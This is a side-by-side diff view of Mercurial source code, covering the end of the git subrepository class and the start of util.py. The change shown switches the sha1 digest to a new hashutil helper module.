1953 if filename2:
1953 if filename2:
1954 changedfiles.add(filename2)
1954 changedfiles.add(filename2)
1955
1955
1956 if st == b'??':
1956 if st == b'??':
1957 unknown.append(filename1)
1957 unknown.append(filename1)
1958 elif st == b'!!':
1958 elif st == b'!!':
1959 ignored.append(filename1)
1959 ignored.append(filename1)
1960
1960
1961 if opts.get('clean'):
1961 if opts.get('clean'):
1962 out = self._gitcommand([b'ls-files'])
1962 out = self._gitcommand([b'ls-files'])
1963 for f in out.split(b'\n'):
1963 for f in out.split(b'\n'):
1964 if not f in changedfiles:
1964 if not f in changedfiles:
1965 clean.append(f)
1965 clean.append(f)
1966
1966
1967 return scmutil.status(
1967 return scmutil.status(
1968 modified, added, removed, deleted, unknown, ignored, clean
1968 modified, added, removed, deleted, unknown, ignored, clean
1969 )
1969 )
1970
1970
1971 @annotatesubrepoerror
1971 @annotatesubrepoerror
1972 def diff(self, ui, diffopts, node2, match, prefix, **opts):
1972 def diff(self, ui, diffopts, node2, match, prefix, **opts):
1973 node1 = self._state[1]
1973 node1 = self._state[1]
1974 cmd = [b'diff', b'--no-renames']
1974 cmd = [b'diff', b'--no-renames']
1975 if opts['stat']:
1975 if opts['stat']:
1976 cmd.append(b'--stat')
1976 cmd.append(b'--stat')
1977 else:
1977 else:
1978 # for Git, this also implies '-p'
1978 # for Git, this also implies '-p'
1979 cmd.append(b'-U%d' % diffopts.context)
1979 cmd.append(b'-U%d' % diffopts.context)
1980
1980
1981 if diffopts.noprefix:
1981 if diffopts.noprefix:
1982 cmd.extend(
1982 cmd.extend(
1983 [b'--src-prefix=%s/' % prefix, b'--dst-prefix=%s/' % prefix]
1983 [b'--src-prefix=%s/' % prefix, b'--dst-prefix=%s/' % prefix]
1984 )
1984 )
1985 else:
1985 else:
1986 cmd.extend(
1986 cmd.extend(
1987 [b'--src-prefix=a/%s/' % prefix, b'--dst-prefix=b/%s/' % prefix]
1987 [b'--src-prefix=a/%s/' % prefix, b'--dst-prefix=b/%s/' % prefix]
1988 )
1988 )
1989
1989
1990 if diffopts.ignorews:
1990 if diffopts.ignorews:
1991 cmd.append(b'--ignore-all-space')
1991 cmd.append(b'--ignore-all-space')
1992 if diffopts.ignorewsamount:
1992 if diffopts.ignorewsamount:
1993 cmd.append(b'--ignore-space-change')
1993 cmd.append(b'--ignore-space-change')
1994 if (
1994 if (
1995 self._gitversion(self._gitcommand([b'--version'])) >= (1, 8, 4)
1995 self._gitversion(self._gitcommand([b'--version'])) >= (1, 8, 4)
1996 and diffopts.ignoreblanklines
1996 and diffopts.ignoreblanklines
1997 ):
1997 ):
1998 cmd.append(b'--ignore-blank-lines')
1998 cmd.append(b'--ignore-blank-lines')
1999
1999
2000 cmd.append(node1)
2000 cmd.append(node1)
2001 if node2:
2001 if node2:
2002 cmd.append(node2)
2002 cmd.append(node2)
2003
2003
2004 output = b""
2004 output = b""
2005 if match.always():
2005 if match.always():
2006 output += self._gitcommand(cmd) + b'\n'
2006 output += self._gitcommand(cmd) + b'\n'
2007 else:
2007 else:
2008 st = self.status(node2)
2008 st = self.status(node2)
2009 files = [
2009 files = [
2010 f
2010 f
2011 for sublist in (st.modified, st.added, st.removed)
2011 for sublist in (st.modified, st.added, st.removed)
2012 for f in sublist
2012 for f in sublist
2013 ]
2013 ]
2014 for f in files:
2014 for f in files:
2015 if match(f):
2015 if match(f):
2016 output += self._gitcommand(cmd + [b'--', f]) + b'\n'
2016 output += self._gitcommand(cmd + [b'--', f]) + b'\n'
2017
2017
2018 if output.strip():
2018 if output.strip():
2019 ui.write(output)
2019 ui.write(output)
2020
2020
2021 @annotatesubrepoerror
2021 @annotatesubrepoerror
2022 def revert(self, substate, *pats, **opts):
2022 def revert(self, substate, *pats, **opts):
2023 self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
2023 self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
2024 if not opts.get('no_backup'):
2024 if not opts.get('no_backup'):
2025 status = self.status(None)
2025 status = self.status(None)
2026 names = status.modified
2026 names = status.modified
2027 for name in names:
2027 for name in names:
2028 # backuppath() expects a path relative to the parent repo (the
2028 # backuppath() expects a path relative to the parent repo (the
2029 # repo that ui.origbackuppath is relative to)
2029 # repo that ui.origbackuppath is relative to)
2030 parentname = os.path.join(self._path, name)
2030 parentname = os.path.join(self._path, name)
2031 bakname = scmutil.backuppath(
2031 bakname = scmutil.backuppath(
2032 self.ui, self._subparent, parentname
2032 self.ui, self._subparent, parentname
2033 )
2033 )
2034 self.ui.note(
2034 self.ui.note(
2035 _(b'saving current version of %s as %s\n')
2035 _(b'saving current version of %s as %s\n')
2036 % (name, os.path.relpath(bakname))
2036 % (name, os.path.relpath(bakname))
2037 )
2037 )
2038 util.rename(self.wvfs.join(name), bakname)
2038 util.rename(self.wvfs.join(name), bakname)
2039
2039
2040 if not opts.get('dry_run'):
2040 if not opts.get('dry_run'):
2041 self.get(substate, overwrite=True)
2041 self.get(substate, overwrite=True)
2042 return []
2042 return []
2043
2043
2044 def shortid(self, revid):
2044 def shortid(self, revid):
2045 return revid[:7]
2045 return revid[:7]
2046
2046
2047
2047
2048 types = {
2048 types = {
2049 b'hg': hgsubrepo,
2049 b'hg': hgsubrepo,
2050 b'svn': svnsubrepo,
2050 b'svn': svnsubrepo,
2051 b'git': gitsubrepo,
2051 b'git': gitsubrepo,
2052 }
2052 }
@@ -1,3617 +1,3618
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 hashutil,
56 procutil,
57 procutil,
57 stringutil,
58 stringutil,
58 )
59 )
59
60
60 base85 = policy.importmod('base85')
61 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
62 osutil = policy.importmod('osutil')
62
63
63 b85decode = base85.b85decode
64 b85decode = base85.b85decode
64 b85encode = base85.b85encode
65 b85encode = base85.b85encode
65
66
66 cookielib = pycompat.cookielib
67 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
68 httplib = pycompat.httplib
68 pickle = pycompat.pickle
69 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
70 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
71 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
72 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
74 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
75
76
76 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
79
80
80 # workaround for win32mbcs
81 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
82
83
83 if pycompat.iswindows:
84 if pycompat.iswindows:
84 from . import windows as platform
85 from . import windows as platform
85 else:
86 else:
86 from . import posix as platform
87 from . import posix as platform
87
88
88 _ = i18n._
89 _ = i18n._
89
90
90 bindunixsocket = platform.bindunixsocket
91 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
92 cachestat = platform.cachestat
92 checkexec = platform.checkexec
93 checkexec = platform.checkexec
93 checklink = platform.checklink
94 checklink = platform.checklink
94 copymode = platform.copymode
95 copymode = platform.copymode
95 expandglobs = platform.expandglobs
96 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
97 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
98 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
99 groupmembers = platform.groupmembers
99 groupname = platform.groupname
100 groupname = platform.groupname
100 isexec = platform.isexec
101 isexec = platform.isexec
101 isowner = platform.isowner
102 isowner = platform.isowner
102 listdir = osutil.listdir
103 listdir = osutil.listdir
103 localpath = platform.localpath
104 localpath = platform.localpath
104 lookupreg = platform.lookupreg
105 lookupreg = platform.lookupreg
105 makedir = platform.makedir
106 makedir = platform.makedir
106 nlinks = platform.nlinks
107 nlinks = platform.nlinks
107 normpath = platform.normpath
108 normpath = platform.normpath
108 normcase = platform.normcase
109 normcase = platform.normcase
109 normcasespec = platform.normcasespec
110 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
111 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
112 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
113 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
114 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
115 pconvert = platform.pconvert
115 poll = platform.poll
116 poll = platform.poll
116 posixfile = platform.posixfile
117 posixfile = platform.posixfile
117 readlink = platform.readlink
118 readlink = platform.readlink
118 rename = platform.rename
119 rename = platform.rename
119 removedirs = platform.removedirs
120 removedirs = platform.removedirs
120 samedevice = platform.samedevice
121 samedevice = platform.samedevice
121 samefile = platform.samefile
122 samefile = platform.samefile
122 samestat = platform.samestat
123 samestat = platform.samestat
123 setflags = platform.setflags
124 setflags = platform.setflags
124 split = platform.split
125 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
127 statisexec = platform.statisexec
127 statislink = platform.statislink
128 statislink = platform.statislink
128 umask = platform.umask
129 umask = platform.umask
129 unlink = platform.unlink
130 unlink = platform.unlink
130 username = platform.username
131 username = platform.username
131
132
132 # small compat layer
133 # small compat layer
133 compengines = compression.compengines
134 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
135 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
136 CLIENTROLE = compression.CLIENTROLE
136
137
137 try:
138 try:
138 recvfds = osutil.recvfds
139 recvfds = osutil.recvfds
139 except AttributeError:
140 except AttributeError:
140 pass
141 pass
141
142
142 # Python compatibility
143 # Python compatibility
143
144
144 _notset = object()
145 _notset = object()
145
146
146
147
147 def bitsfrom(container):
148 def bitsfrom(container):
148 bits = 0
149 bits = 0
149 for bit in container:
150 for bit in container:
150 bits |= bit
151 bits |= bit
151 return bits
152 return bits
152
153
153
154
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
156 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
157 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
159 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
160 # explicitly unfilter our warning for python 2.7
160 #
161 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
169 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
170 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
171 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
173 )
173 warnings.filterwarnings(
174 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
176 )
176 # TODO: reinvent imp.is_frozen()
177 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
178 warnings.filterwarnings(
178 'ignore',
179 'ignore',
179 'the imp module is deprecated',
180 'the imp module is deprecated',
180 DeprecationWarning,
181 DeprecationWarning,
181 'mercurial',
182 'mercurial',
182 )
183 )
183
184
184
185
185 def nouideprecwarn(msg, version, stacklevel=1):
186 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
187 """Issue an python native deprecation warning
187
188
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
190 """
190 if _dowarn:
191 if _dowarn:
191 msg += (
192 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
194 b" update your code.)"
194 ) % version
195 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
197
197
198
198 DIGESTS = {
199 DIGESTS = {
199 b'md5': hashlib.md5,
200 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
201 b'sha1': hashutil.sha1,
201 b'sha512': hashlib.sha512,
202 b'sha512': hashlib.sha512,
202 }
203 }
203 # List of digest types from strongest to weakest
204 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
206
206 for k in DIGESTS_BY_STRENGTH:
207 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
208 assert k in DIGESTS
208
209
209
210
210 class digester(object):
211 class digester(object):
211 """helper to compute digests.
212 """helper to compute digests.
212
213
213 This helper can be used to compute one or more digests given their name.
214 This helper can be used to compute one or more digests given their name.
214
215
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
217 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
218 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
219 ['md5', 'sha1']
219 >>> d[b'md5']
220 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
222 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
224 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
225 'sha1'
225 """
226 """
226
227
227 def __init__(self, digests, s=b''):
228 def __init__(self, digests, s=b''):
228 self._hashes = {}
229 self._hashes = {}
229 for k in digests:
230 for k in digests:
230 if k not in DIGESTS:
231 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
233 self._hashes[k] = DIGESTS[k]()
233 if s:
234 if s:
234 self.update(s)
235 self.update(s)
235
236
236 def update(self, data):
237 def update(self, data):
237 for h in self._hashes.values():
238 for h in self._hashes.values():
238 h.update(data)
239 h.update(data)
239
240
240 def __getitem__(self, key):
241 def __getitem__(self, key):
241 if key not in DIGESTS:
242 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
244 return nodemod.hex(self._hashes[key].digest())
244
245
245 def __iter__(self):
246 def __iter__(self):
246 return iter(self._hashes)
247 return iter(self._hashes)
247
248
248 @staticmethod
249 @staticmethod
249 def preferred(supported):
250 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
251 """returns the strongest digest type in both supported and DIGESTS."""
251
252
252 for k in DIGESTS_BY_STRENGTH:
253 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
254 if k in supported:
254 return k
255 return k
255 return None
256 return None
256
257
257
258
258 class digestchecker(object):
259 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
260 """file handle wrapper that additionally checks content against a given
260 size and digests.
261 size and digests.
261
262
262 d = digestchecker(fh, size, {'md5': '...'})
263 d = digestchecker(fh, size, {'md5': '...'})
263
264
264 When multiple digests are given, all of them are validated.
265 When multiple digests are given, all of them are validated.
265 """
266 """
266
267
267 def __init__(self, fh, size, digests):
268 def __init__(self, fh, size, digests):
268 self._fh = fh
269 self._fh = fh
269 self._size = size
270 self._size = size
270 self._got = 0
271 self._got = 0
271 self._digests = dict(digests)
272 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
273 self._digester = digester(self._digests.keys())
273
274
274 def read(self, length=-1):
275 def read(self, length=-1):
275 content = self._fh.read(length)
276 content = self._fh.read(length)
276 self._digester.update(content)
277 self._digester.update(content)
277 self._got += len(content)
278 self._got += len(content)
278 return content
279 return content
279
280
280 def validate(self):
281 def validate(self):
281 if self._size != self._got:
282 if self._size != self._got:
282 raise error.Abort(
283 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
284 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
285 % (self._size, self._got)
285 )
286 )
286 for k, v in self._digests.items():
287 for k, v in self._digests.items():
287 if v != self._digester[k]:
288 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
289 # i18n: first parameter is a digest name
289 raise error.Abort(
290 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
291 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
292 % (k, v, self._digester[k])
292 )
293 )
293
294
294
295
295 try:
296 try:
296 buffer = buffer
297 buffer = buffer
297 except NameError:
298 except NameError:
298
299
299 def buffer(sliceable, offset=0, length=None):
300 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
301 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
303 return memoryview(sliceable)[offset:]
303
304
304
305
305 _chunksize = 4096
306 _chunksize = 4096
306
307
307
308
308 class bufferedinputpipe(object):
309 class bufferedinputpipe(object):
309 """a manually buffered input pipe
310 """a manually buffered input pipe
310
311
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
313 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
314 that data are ready to read if they are already buffered.
314
315
315 This class let us work around that by implementing its own buffering
316 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
317 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
318 empty from the output (allowing collaboration of the buffer with polling).
318
319
319 This class lives in the 'util' module because it makes use of the 'os'
320 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
321 module from the python stdlib.
321 """
322 """
322
323
323 def __new__(cls, fh):
324 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
326 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
327 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
328 cls = observedbufferedinputpipe
328
329
329 return super(bufferedinputpipe, cls).__new__(cls)
330 return super(bufferedinputpipe, cls).__new__(cls)
330
331
331 def __init__(self, input):
332 def __init__(self, input):
332 self._input = input
333 self._input = input
333 self._buffer = []
334 self._buffer = []
334 self._eof = False
335 self._eof = False
335 self._lenbuf = 0
336 self._lenbuf = 0
336
337
337 @property
338 @property
338 def hasbuffer(self):
339 def hasbuffer(self):
339 """True is any data is currently buffered
340 """True is any data is currently buffered
340
341
341 This will be used externally a pre-step for polling IO. If there is
342 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
343 already data then no polling should be set in place."""
343 return bool(self._buffer)
344 return bool(self._buffer)
344
345
345 @property
346 @property
346 def closed(self):
347 def closed(self):
347 return self._input.closed
348 return self._input.closed
348
349
349 def fileno(self):
350 def fileno(self):
350 return self._input.fileno()
351 return self._input.fileno()
351
352
352 def close(self):
353 def close(self):
353 return self._input.close()
354 return self._input.close()
354
355
355 def read(self, size):
356 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
357 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
358 self._fillbuffer()
358 return self._frombuffer(size)
359 return self._frombuffer(size)
359
360
360 def unbufferedread(self, size):
361 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
362 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
363 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
364 return self._frombuffer(min(self._lenbuf, size))
364
365
365 def readline(self, *args, **kwargs):
366 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
367 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
368 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
369 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
370 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
371 self._lenbuf = len(self._buffer[0])
371 lfi = -1
372 lfi = -1
372 if self._buffer:
373 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
374 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
375 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
376 self._fillbuffer()
376 if self._buffer:
377 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
378 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
379 size = lfi + 1
379 if lfi < 0: # end of file
380 if lfi < 0: # end of file
380 size = self._lenbuf
381 size = self._lenbuf
381 elif len(self._buffer) > 1:
382 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
383 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
384 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
385 return self._frombuffer(size)
385
386
386 def _frombuffer(self, size):
387 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
388 """return at most 'size' data from the buffer
388
389
389 The data are removed from the buffer."""
390 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
391 if size == 0 or not self._buffer:
391 return b''
392 return b''
392 buf = self._buffer[0]
393 buf = self._buffer[0]
393 if len(self._buffer) > 1:
394 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
395 buf = b''.join(self._buffer)
395
396
396 data = buf[:size]
397 data = buf[:size]
397 buf = buf[len(data) :]
398 buf = buf[len(data) :]
398 if buf:
399 if buf:
399 self._buffer = [buf]
400 self._buffer = [buf]
400 self._lenbuf = len(buf)
401 self._lenbuf = len(buf)
401 else:
402 else:
402 self._buffer = []
403 self._buffer = []
403 self._lenbuf = 0
404 self._lenbuf = 0
404 return data
405 return data
405
406
406 def _fillbuffer(self, size=_chunksize):
407 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
408 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
409 data = os.read(self._input.fileno(), size)
409 if not data:
410 if not data:
410 self._eof = True
411 self._eof = True
411 else:
412 else:
412 self._lenbuf += len(data)
413 self._lenbuf += len(data)
413 self._buffer.append(data)
414 self._buffer.append(data)
414
415
415 return data
416 return data
416
417
417
418
418 def mmapread(fp, size=None):
419 def mmapread(fp, size=None):
419 if size == 0:
420 if size == 0:
420 # size of 0 to mmap.mmap() means "all data"
421 # size of 0 to mmap.mmap() means "all data"
421 # rather than "zero bytes", so special case that.
422 # rather than "zero bytes", so special case that.
422 return b''
423 return b''
423 elif size is None:
424 elif size is None:
424 size = 0
425 size = 0
425 try:
426 try:
426 fd = getattr(fp, 'fileno', lambda: fp)()
427 fd = getattr(fp, 'fileno', lambda: fp)()
427 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
428 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
428 except ValueError:
429 except ValueError:
429 # Empty files cannot be mmapped, but mmapread should still work. Check
430 # Empty files cannot be mmapped, but mmapread should still work. Check
430 # if the file is empty, and if so, return an empty buffer.
431 # if the file is empty, and if so, return an empty buffer.
431 if os.fstat(fd).st_size == 0:
432 if os.fstat(fd).st_size == 0:
432 return b''
433 return b''
433 raise
434 raise
434
435
435
436
436 class fileobjectproxy(object):
437 class fileobjectproxy(object):
437 """A proxy around file objects that tells a watcher when events occur.
438 """A proxy around file objects that tells a watcher when events occur.
438
439
439 This type is intended to only be used for testing purposes. Think hard
440 This type is intended to only be used for testing purposes. Think hard
440 before using it in important code.
441 before using it in important code.
441 """
442 """
442
443
443 __slots__ = (
444 __slots__ = (
444 '_orig',
445 '_orig',
445 '_observer',
446 '_observer',
446 )
447 )
447
448
448 def __init__(self, fh, observer):
449 def __init__(self, fh, observer):
449 object.__setattr__(self, '_orig', fh)
450 object.__setattr__(self, '_orig', fh)
450 object.__setattr__(self, '_observer', observer)
451 object.__setattr__(self, '_observer', observer)
451
452
452 def __getattribute__(self, name):
453 def __getattribute__(self, name):
453 ours = {
454 ours = {
454 '_observer',
455 '_observer',
455 # IOBase
456 # IOBase
456 'close',
457 'close',
457 # closed if a property
458 # closed if a property
458 'fileno',
459 'fileno',
459 'flush',
460 'flush',
460 'isatty',
461 'isatty',
461 'readable',
462 'readable',
462 'readline',
463 'readline',
463 'readlines',
464 'readlines',
464 'seek',
465 'seek',
465 'seekable',
466 'seekable',
466 'tell',
467 'tell',
467 'truncate',
468 'truncate',
468 'writable',
469 'writable',
469 'writelines',
470 'writelines',
470 # RawIOBase
471 # RawIOBase
471 'read',
472 'read',
472 'readall',
473 'readall',
473 'readinto',
474 'readinto',
474 'write',
475 'write',
475 # BufferedIOBase
476 # BufferedIOBase
476 # raw is a property
477 # raw is a property
477 'detach',
478 'detach',
478 # read defined above
479 # read defined above
479 'read1',
480 'read1',
480 # readinto defined above
481 # readinto defined above
481 # write defined above
482 # write defined above
482 }
483 }
483
484
484 # We only observe some methods.
485 # We only observe some methods.
485 if name in ours:
486 if name in ours:
486 return object.__getattribute__(self, name)
487 return object.__getattribute__(self, name)
487
488
488 return getattr(object.__getattribute__(self, '_orig'), name)
489 return getattr(object.__getattribute__(self, '_orig'), name)
489
490
490 def __nonzero__(self):
491 def __nonzero__(self):
491 return bool(object.__getattribute__(self, '_orig'))
492 return bool(object.__getattribute__(self, '_orig'))
492
493
493 __bool__ = __nonzero__
494 __bool__ = __nonzero__
494
495
495 def __delattr__(self, name):
496 def __delattr__(self, name):
496 return delattr(object.__getattribute__(self, '_orig'), name)
497 return delattr(object.__getattribute__(self, '_orig'), name)
497
498
498 def __setattr__(self, name, value):
499 def __setattr__(self, name, value):
499 return setattr(object.__getattribute__(self, '_orig'), name, value)
500 return setattr(object.__getattribute__(self, '_orig'), name, value)
500
501
501 def __iter__(self):
502 def __iter__(self):
502 return object.__getattribute__(self, '_orig').__iter__()
503 return object.__getattribute__(self, '_orig').__iter__()
503
504
504 def _observedcall(self, name, *args, **kwargs):
505 def _observedcall(self, name, *args, **kwargs):
505 # Call the original object.
506 # Call the original object.
506 orig = object.__getattribute__(self, '_orig')
